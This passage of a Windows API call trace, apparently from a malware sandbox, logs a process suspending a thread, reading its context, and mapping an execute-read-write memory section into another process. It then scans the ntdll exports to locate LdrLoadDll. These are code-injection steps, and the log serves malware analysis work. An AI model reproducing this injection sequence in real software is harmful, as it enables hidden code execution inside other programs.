[38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x27f, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 0x0 [0072.970] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0072.970] ResumeThread (hThread=0x12c) returned 0x1 [0072.970] Sleep (dwMilliseconds=0x64) [0073.103] SuspendThread (hThread=0x12c) returned 0x0 [0073.104] NtGetContextThread (in: ThreadHandle=0x12c, Context=0x2fe2f0 | out: Context=0x2fe2f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x10000b, MxCsr=0x1f80, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x11, Rcx=0x13f510000, Rdx=0x1, Rbx=0x13f5d3a08, Rsp=0x23f048, Rbp=0x77265468, Rsi=0x1, Rdi=0x3f2c10, R8=0x0, R9=0x3f12f0, R10=0x16, R11=0x16, R12=0x13f5437e0, R13=0x0, R14=0x771b9bc0, R15=0x0, Rip=0x13f5437e0, FltSave.ControlWord=0x27f, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x1f80, FltSave.MxCsr_Mask=0xffff, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x27f, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 0x0 [0073.104] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0073.104] NtCreateSection (in: SectionHandle=0x2fe1f8, DesiredAccess=0xf001f, ObjectAttributes=0x2fe230*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), MaximumSize=0x2fe200, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x2fe1f8*=0x138) returned 0x0 [0073.104] NtMapViewOfSection (in: SectionHandle=0x138, ProcessHandle=0xffffffffffffffff, BaseAddress=0x2fe1f0*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x2fe1b8*=0, ViewSize=0x2fe180*=0x0, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x2fe1f0*=0x2b60000, SectionOffset=0x2fe1b8*=0, ViewSize=0x2fe180*=0x136000) returned 0x0 [0073.104] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0073.130] NtMapViewOfSection (in: SectionHandle=0x138, ProcessHandle=0x130, BaseAddress=0x2fe1e0*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x2fe1b8*=0, ViewSize=0x2fe180*=0x0, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x2fe1e0*=0x1df0000, SectionOffset=0x2fe1b8*=0, ViewSize=0x2fe180*=0x136000) returned 0x0 [0073.133] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0073.138] GetModuleHandleA (lpModuleName="NTDLL.DLL") returned 0x77160000 [0073.138] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x208) returned 0x1ef1cc0 [0073.138] GetModuleFileNameA (in: hModule=0x77160000, lpFilename=0x1ef1cc0, nSize=0x104 | out: lpFilename="C:\\Windows\\SYSTEM32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")) returned 0x1d [0073.138] lstrcmpA (lpString1="A_SHAFinal", lpString2="LdrLoadDll") returned -1 [0073.138] lstrcmpA (lpString1="A_SHAInit", lpString2="LdrLoadDll") returned -1 [0073.138] lstrcmpA (lpString1="A_SHAUpdate", lpString2="LdrLoadDll") returned -1 [0073.138] lstrcmpA (lpString1="AlpcAdjustCompletionListConcurrencyCount", lpString2="LdrLoadDll") returned -1 [0073.138] lstrcmpA (lpString1="AlpcFreeCompletionListMessage", lpString2="LdrLoadDll") returned -1 [0073.138] lstrcmpA (lpString1="AlpcGetCompletionListLastMessageInformation", lpString2="LdrLoadDll") returned -1 [0073.138] lstrcmpA (lpString1="AlpcGetCompletionListMessageAttributes", lpString2="LdrLoadDll") returned -1 [0073.138] lstrcmpA (lpString1="AlpcGetHeaderSize", lpString2="LdrLoadDll") returned -1 [0073.138] lstrcmpA (lpString1="AlpcGetMessageAttribute", lpString2="LdrLoadDll") returned -1 [0073.138] lstrcmpA (lpString1="AlpcGetMessageFromCompletionList", lpString2="LdrLoadDll") returned -1 [0073.138] lstrcmpA (lpString1="AlpcGetOutstandingCompletionListMessageCount", lpString2="LdrLoadDll") returned -1 [0073.138] lstrcmpA (lpString1="AlpcInitializeMessageAttribute", lpString2="LdrLoadDll") returned -1 [0073.138] lstrcmpA (lpString1="AlpcMaxAllowedMessageLength", lpString2="LdrLoadDll") returned -1 [0073.139] lstrcmpA (lpString1="AlpcRegisterCompletionList", lpString2="LdrLoadDll") returned -1 [0073.139] lstrcmpA (lpString1="AlpcRegisterCompletionListWorkerThread", lpString2="LdrLoadDll") returned -1 [0073.139] lstrcmpA (lpString1="AlpcRundownCompletionList", lpString2="LdrLoadDll") returned -1 [0073.139] lstrcmpA (lpString1="AlpcUnregisterCompletionList", lpString2="LdrLoadDll") returned -1 [0073.139] lstrcmpA (lpString1="AlpcUnregisterCompletionListWorkerThread", lpString2="LdrLoadDll") returned -1 [0073.139] lstrcmpA (lpString1="CsrAllocateCaptureBuffer", lpString2="LdrLoadDll") returned -1 [0073.139] lstrcmpA (lpString1="CsrAllocateMessagePointer", lpString2="LdrLoadDll") returned -1 [0073.139] lstrcmpA (lpString1="CsrCaptureMessageBuffer", lpString2="LdrLoadDll") returned -1 [0073.139] lstrcmpA (lpString1="CsrCaptureMessageMultiUnicodeStringsInPlace", lpString2="LdrLoadDll") returned -1 [0073.139] lstrcmpA (lpString1="CsrCaptureMessageString", lpString2="LdrLoadDll") returned -1 [0073.139] lstrcmpA (lpString1="CsrCaptureTimeout", lpString2="LdrLoadDll") returned -1 [0073.139] lstrcmpA (lpString1="CsrClientCallServer", lpString2="LdrLoadDll") returned -1 [0073.139] lstrcmpA (lpString1="CsrClientConnectToServer", lpString2="LdrLoadDll") returned -1 [0073.139] lstrcmpA (lpString1="CsrFreeCaptureBuffer", lpString2="LdrLoadDll") returned -1 [0073.139] lstrcmpA (lpString1="CsrGetProcessId", lpString2="LdrLoadDll") returned -1 [0073.139] lstrcmpA (lpString1="CsrIdentifyAlertableThread", lpString2="LdrLoadDll") returned -1 [0073.139] lstrcmpA (lpString1="CsrSetPriorityClass", lpString2="LdrLoadDll") returned -1 [0073.139] lstrcmpA (lpString1="CsrVerifyRegion", lpString2="LdrLoadDll") returned -1 [0073.139] lstrcmpA (lpString1="DbgBreakPoint", lpString2="LdrLoadDll") returned -1 [0073.139] lstrcmpA (lpString1="DbgPrint", lpString2="LdrLoadDll") returned -1 [0073.139] lstrcmpA (lpString1="DbgPrintEx", lpString2="LdrLoadDll") returned -1 [0073.139] lstrcmpA (lpString1="DbgPrintReturnControlC", lpString2="LdrLoadDll") returned -1 [0073.139] lstrcmpA (lpString1="DbgPrompt", lpString2="LdrLoadDll") returned -1 [0073.139] lstrcmpA (lpString1="DbgQueryDebugFilterState", lpString2="LdrLoadDll") returned -1 [0073.139] lstrcmpA (lpString1="DbgSetDebugFilterState", lpString2="LdrLoadDll") returned -1 [0073.139] lstrcmpA (lpString1="DbgUiConnectToDbg", lpString2="LdrLoadDll") returned -1 [0073.139] lstrcmpA (lpString1="DbgUiContinue", lpString2="LdrLoadDll") returned -1 [0073.139] lstrcmpA (lpString1="DbgUiConvertStateChangeStructure", lpString2="LdrLoadDll") returned -1 [0073.139] lstrcmpA (lpString1="DbgUiDebugActiveProcess", lpString2="LdrLoadDll") returned -1 [0073.139] lstrcmpA (lpString1="DbgUiGetThreadDebugObject", lpString2="LdrLoadDll") returned -1 [0073.139] lstrcmpA (lpString1="DbgUiIssueRemoteBreakin", lpString2="LdrLoadDll") returned -1 [0073.139] lstrcmpA (lpString1="DbgUiRemoteBreakin", lpString2="LdrLoadDll") returned -1 [0073.139] lstrcmpA (lpString1="DbgUiSetThreadDebugObject", lpString2="LdrLoadDll") returned -1 [0073.139] lstrcmpA (lpString1="DbgUiStopDebugging", lpString2="LdrLoadDll") returned -1 [0073.139] lstrcmpA (lpString1="DbgUiWaitStateChange", lpString2="LdrLoadDll") returned -1 [0073.139] lstrcmpA (lpString1="DbgUserBreakPoint", lpString2="LdrLoadDll") returned -1 [0073.139] lstrcmpA (lpString1="EtwCreateTraceInstanceId", lpString2="LdrLoadDll") returned -1 [0073.139] lstrcmpA (lpString1="EtwDeliverDataBlock", lpString2="LdrLoadDll") returned -1 [0073.139] lstrcmpA (lpString1="EtwEnumerateProcessRegGuids", lpString2="LdrLoadDll") returned -1 [0073.140] lstrcmpA (lpString1="EtwEventActivityIdControl", lpString2="LdrLoadDll") returned -1 [0073.140] lstrcmpA (lpString1="EtwEventEnabled", lpString2="LdrLoadDll") returned -1 [0073.140] lstrcmpA (lpString1="EtwEventProviderEnabled", lpString2="LdrLoadDll") returned -1 [0073.140] lstrcmpA (lpString1="EtwEventRegister", lpString2="LdrLoadDll") returned -1 [0073.140] lstrcmpA (lpString1="EtwEventUnregister", lpString2="LdrLoadDll") returned -1 [0073.140] lstrcmpA (lpString1="EtwEventWrite", lpString2="LdrLoadDll") returned -1 [0073.140] lstrcmpA (lpString1="EtwEventWriteEndScenario", lpString2="LdrLoadDll") returned -1 [0073.140] lstrcmpA (lpString1="EtwEventWriteEx", lpString2="LdrLoadDll") returned -1 [0073.140] lstrcmpA (lpString1="EtwEventWriteFull", lpString2="LdrLoadDll") returned -1 [0073.140] lstrcmpA (lpString1="EtwEventWriteNoRegistration", lpString2="LdrLoadDll") returned -1 [0073.140] lstrcmpA (lpString1="EtwEventWriteStartScenario", lpString2="LdrLoadDll") returned -1 [0073.140] lstrcmpA (lpString1="EtwEventWriteString", lpString2="LdrLoadDll") returned -1 [0073.140] lstrcmpA (lpString1="EtwEventWriteTransfer", lpString2="LdrLoadDll") returned -1 [0073.140] lstrcmpA (lpString1="EtwGetTraceEnableFlags", lpString2="LdrLoadDll") returned -1 [0073.140] lstrcmpA (lpString1="EtwGetTraceEnableLevel", lpString2="LdrLoadDll") returned -1 [0073.140] lstrcmpA (lpString1="EtwGetTraceLoggerHandle", lpString2="LdrLoadDll") returned -1 [0073.140] lstrcmpA (lpString1="EtwLogTraceEvent", lpString2="LdrLoadDll") returned -1 [0073.140] lstrcmpA (lpString1="EtwNotificationRegister", lpString2="LdrLoadDll") returned -1 [0073.140] lstrcmpA (lpString1="EtwNotificationUnregister", lpString2="LdrLoadDll") returned -1 [0073.140] lstrcmpA (lpString1="EtwProcessPrivateLoggerRequest", lpString2="LdrLoadDll") returned -1 [0073.140] lstrcmpA (lpString1="EtwRegisterSecurityProvider", lpString2="LdrLoadDll") returned -1 [0073.140] lstrcmpA (lpString1="EtwRegisterTraceGuidsA", lpString2="LdrLoadDll") returned -1 [0073.140] lstrcmpA (lpString1="EtwRegisterTraceGuidsW", lpString2="LdrLoadDll") returned -1 [0073.140] lstrcmpA (lpString1="EtwReplyNotification", lpString2="LdrLoadDll") returned -1 [0073.140] lstrcmpA (lpString1="EtwSendNotification", lpString2="LdrLoadDll") returned -1 [0073.140] lstrcmpA (lpString1="EtwSetMark", lpString2="LdrLoadDll") returned -1 [0073.140] lstrcmpA (lpString1="EtwTraceEventInstance", lpString2="LdrLoadDll") returned -1 [0073.140] lstrcmpA (lpString1="EtwTraceMessage", lpString2="LdrLoadDll") returned -1 [0073.140] lstrcmpA (lpString1="EtwTraceMessageVa", lpString2="LdrLoadDll") returned -1 [0073.140] lstrcmpA (lpString1="EtwUnregisterTraceGuids", lpString2="LdrLoadDll") returned -1 [0073.140] lstrcmpA (lpString1="EtwWriteUMSecurityEvent", lpString2="LdrLoadDll") returned -1 [0073.140] lstrcmpA (lpString1="EtwpCreateEtwThread", lpString2="LdrLoadDll") returned -1 [0073.140] lstrcmpA (lpString1="EtwpGetCpuSpeed", lpString2="LdrLoadDll") returned -1 [0073.140] lstrcmpA (lpString1="EtwpNotificationThread", lpString2="LdrLoadDll") returned -1 [0073.140] lstrcmpA (lpString1="EvtIntReportAuthzEventAndSourceAsync", lpString2="LdrLoadDll") returned -1 [0073.140] lstrcmpA (lpString1="EvtIntReportEventAndSourceAsync", lpString2="LdrLoadDll") returned -1 [0073.140] lstrcmpA (lpString1="ExpInterlockedPopEntrySListEnd", lpString2="LdrLoadDll") returned -1 [0073.140] lstrcmpA (lpString1="ExpInterlockedPopEntrySListEnd16", lpString2="LdrLoadDll") returned -1 [0073.140] lstrcmpA (lpString1="ExpInterlockedPopEntrySListFault", lpString2="LdrLoadDll") returned -1 [0073.140] lstrcmpA (lpString1="ExpInterlockedPopEntrySListFault16", lpString2="LdrLoadDll") returned -1 [0073.141] lstrcmpA (lpString1="ExpInterlockedPopEntrySListResume", lpString2="LdrLoadDll") returned -1 [0073.141] lstrcmpA (lpString1="ExpInterlockedPopEntrySListResume16", lpString2="LdrLoadDll") returned -1 [0073.141] lstrcmpA (lpString1="KiRaiseUserExceptionDispatcher", lpString2="LdrLoadDll") returned -1 [0073.141] lstrcmpA (lpString1="KiUserApcDispatcher", lpString2="LdrLoadDll") returned -1 [0073.141] lstrcmpA (lpString1="KiUserCallbackDispatcher", lpString2="LdrLoadDll") returned -1 [0073.141] lstrcmpA (lpString1="KiUserExceptionDispatcher", lpString2="LdrLoadDll") returned -1 [0073.141] lstrcmpA (lpString1="LdrAccessResource", lpString2="LdrLoadDll") returned -1 [0073.141] lstrcmpA (lpString1="LdrAddLoadAsDataTable", lpString2="LdrLoadDll") returned -1 [0073.141] lstrcmpA (lpString1="LdrAddRefDll", lpString2="LdrLoadDll") returned -1 [0073.141] lstrcmpA (lpString1="LdrDisableThreadCalloutsForDll", lpString2="LdrLoadDll") returned -1 [0073.141] lstrcmpA (lpString1="LdrEnumResources", lpString2="LdrLoadDll") returned -1 [0073.141] lstrcmpA (lpString1="LdrEnumerateLoadedModules", lpString2="LdrLoadDll") returned -1 [0073.141] lstrcmpA (lpString1="LdrFindEntryForAddress", lpString2="LdrLoadDll") returned -1 [0073.141] lstrcmpA (lpString1="LdrFindResourceDirectory_U", lpString2="LdrLoadDll") returned -1 [0073.141] lstrcmpA (lpString1="LdrFindResourceEx_U", lpString2="LdrLoadDll") returned -1 [0073.141] lstrcmpA (lpString1="LdrFindResource_U", lpString2="LdrLoadDll") returned -1 [0073.141] lstrcmpA (lpString1="LdrFlushAlternateResourceModules", lpString2="LdrLoadDll") returned -1 [0073.141] lstrcmpA (lpString1="LdrGetDllHandle", lpString2="LdrLoadDll") returned -1 [0073.141] lstrcmpA (lpString1="LdrGetDllHandleByMapping", lpString2="LdrLoadDll") returned -1 [0073.141] lstrcmpA (lpString1="LdrGetDllHandleByName", lpString2="LdrLoadDll") returned -1 [0073.141] lstrcmpA (lpString1="LdrGetDllHandleEx", lpString2="LdrLoadDll") returned -1 [0073.141] lstrcmpA (lpString1="LdrGetFailureData", lpString2="LdrLoadDll") returned -1 [0073.141] lstrcmpA (lpString1="LdrGetFileNameFromLoadAsDataTable", lpString2="LdrLoadDll") returned -1 [0073.141] lstrcmpA (lpString1="LdrGetKnownDllSectionHandle", lpString2="LdrLoadDll") returned -1 [0073.141] lstrcmpA (lpString1="LdrGetProcedureAddress", lpString2="LdrLoadDll") returned -1 [0073.141] lstrcmpA (lpString1="LdrGetProcedureAddressEx", lpString2="LdrLoadDll") returned -1 [0073.141] lstrcmpA (lpString1="LdrHotPatchRoutine", lpString2="LdrLoadDll") returned -1 [0073.141] lstrcmpA (lpString1="LdrInitShimEngineDynamic", lpString2="LdrLoadDll") returned -1 [0073.141] lstrcmpA (lpString1="LdrInitializeThunk", lpString2="LdrLoadDll") returned -1 [0073.141] lstrcmpA (lpString1="LdrLoadAlternateResourceModule", lpString2="LdrLoadDll") returned -1 [0073.141] lstrcmpA (lpString1="LdrLoadAlternateResourceModuleEx", lpString2="LdrLoadDll") returned -1 [0073.141] lstrcmpA (lpString1="LdrLoadDll", lpString2="LdrLoadDll") returned 0 [0073.141] CreateFileA (lpFileName="C:\\Windows\\SYSTEM32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0073.141] SetFilePointer (in: hFile=0x134, lDistanceToMove=1064612, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x103ea4 [0073.141] ReadFile (in: hFile=0x134, lpBuffer=0x2fe180, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2fe1b8, lpOverlapped=0x0 | out: lpBuffer=0x2fe180*, lpNumberOfBytesRead=0x2fe1b8*=0x4, lpOverlapped=0x0) returned 1 [0073.142] CloseHandle (hObject=0x134) returned 1 [0073.142] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ef1cc0 | out: hHeap=0x1ee0000) returned 1 [0073.142] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x208) returned 0x1ef1cc0 [0073.142] GetModuleFileNameA (in: hModule=0x77160000, lpFilename=0x1ef1cc0, nSize=0x104 | out: lpFilename="C:\\Windows\\SYSTEM32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")) returned 0x1d [0073.142] lstrcmpA (lpString1="A_SHAFinal", lpString2="LdrGetProcedureAddress") returned -1 [0073.142] lstrcmpA (lpString1="A_SHAInit", lpString2="LdrGetProcedureAddress") returned -1 [0073.142] lstrcmpA (lpString1="A_SHAUpdate", lpString2="LdrGetProcedureAddress") returned -1 [0073.142] lstrcmpA (lpString1="AlpcAdjustCompletionListConcurrencyCount", lpString2="LdrGetProcedureAddress") returned -1 [0073.142] lstrcmpA (lpString1="AlpcFreeCompletionListMessage", lpString2="LdrGetProcedureAddress") returned -1 [0073.142] lstrcmpA (lpString1="AlpcGetCompletionListLastMessageInformation", lpString2="LdrGetProcedureAddress") returned -1 [0073.142] lstrcmpA (lpString1="AlpcGetCompletionListMessageAttributes", lpString2="LdrGetProcedureAddress") returned -1 [0073.142] lstrcmpA (lpString1="AlpcGetHeaderSize", lpString2="LdrGetProcedureAddress") returned -1 [0073.142] lstrcmpA (lpString1="AlpcGetMessageAttribute", lpString2="LdrGetProcedureAddress") returned -1 [0073.143] lstrcmpA (lpString1="AlpcGetMessageFromCompletionList", lpString2="LdrGetProcedureAddress") returned -1 [0073.143] lstrcmpA (lpString1="AlpcGetOutstandingCompletionListMessageCount", lpString2="LdrGetProcedureAddress") returned -1 [0073.143] lstrcmpA (lpString1="AlpcInitializeMessageAttribute", lpString2="LdrGetProcedureAddress") returned -1 [0073.143] lstrcmpA (lpString1="AlpcMaxAllowedMessageLength", lpString2="LdrGetProcedureAddress") returned -1 [0073.143] lstrcmpA (lpString1="AlpcRegisterCompletionList", lpString2="LdrGetProcedureAddress") returned -1 [0073.143] lstrcmpA (lpString1="AlpcRegisterCompletionListWorkerThread", lpString2="LdrGetProcedureAddress") returned -1 [0073.143] lstrcmpA (lpString1="AlpcRundownCompletionList", lpString2="LdrGetProcedureAddress") returned -1 [0073.143] lstrcmpA (lpString1="AlpcUnregisterCompletionList", lpString2="LdrGetProcedureAddress") returned -1 [0073.143] lstrcmpA (lpString1="AlpcUnregisterCompletionListWorkerThread", lpString2="LdrGetProcedureAddress") returned -1 [0073.143] lstrcmpA (lpString1="CsrAllocateCaptureBuffer", lpString2="LdrGetProcedureAddress") returned -1 [0073.143] lstrcmpA (lpString1="CsrAllocateMessagePointer", lpString2="LdrGetProcedureAddress") returned -1 [0073.143] lstrcmpA (lpString1="CsrCaptureMessageBuffer", lpString2="LdrGetProcedureAddress") returned -1 [0073.143] lstrcmpA (lpString1="CsrCaptureMessageMultiUnicodeStringsInPlace", lpString2="LdrGetProcedureAddress") returned -1 [0073.143] lstrcmpA (lpString1="CsrCaptureMessageString", lpString2="LdrGetProcedureAddress") returned -1 [0073.143] lstrcmpA (lpString1="CsrCaptureTimeout", lpString2="LdrGetProcedureAddress") returned -1 [0073.143] lstrcmpA (lpString1="CsrClientCallServer", lpString2="LdrGetProcedureAddress") returned -1 [0073.143] lstrcmpA (lpString1="CsrClientConnectToServer", lpString2="LdrGetProcedureAddress") returned -1 [0073.143] lstrcmpA (lpString1="CsrFreeCaptureBuffer", lpString2="LdrGetProcedureAddress") returned -1 [0073.143] lstrcmpA (lpString1="CsrGetProcessId", lpString2="LdrGetProcedureAddress") returned -1 [0073.143] lstrcmpA (lpString1="CsrIdentifyAlertableThread", lpString2="LdrGetProcedureAddress") returned -1 [0073.143] lstrcmpA (lpString1="CsrSetPriorityClass", lpString2="LdrGetProcedureAddress") returned -1 [0073.143] lstrcmpA (lpString1="CsrVerifyRegion", lpString2="LdrGetProcedureAddress") returned -1 [0073.143] lstrcmpA (lpString1="DbgBreakPoint", lpString2="LdrGetProcedureAddress") returned -1 [0073.143] lstrcmpA (lpString1="DbgPrint", lpString2="LdrGetProcedureAddress") returned -1 [0073.143] lstrcmpA (lpString1="DbgPrintEx", lpString2="LdrGetProcedureAddress") returned -1 [0073.143] lstrcmpA (lpString1="DbgPrintReturnControlC", lpString2="LdrGetProcedureAddress") returned -1 [0073.143] 